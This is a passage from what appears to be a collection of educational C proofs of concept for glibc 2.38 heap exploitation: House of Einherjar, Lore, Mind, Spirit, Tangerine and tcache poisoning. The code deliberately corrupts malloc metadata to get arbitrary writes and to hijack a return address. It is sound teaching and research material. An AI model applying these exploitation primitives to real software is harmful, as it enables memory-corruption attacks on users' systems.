later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.38/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  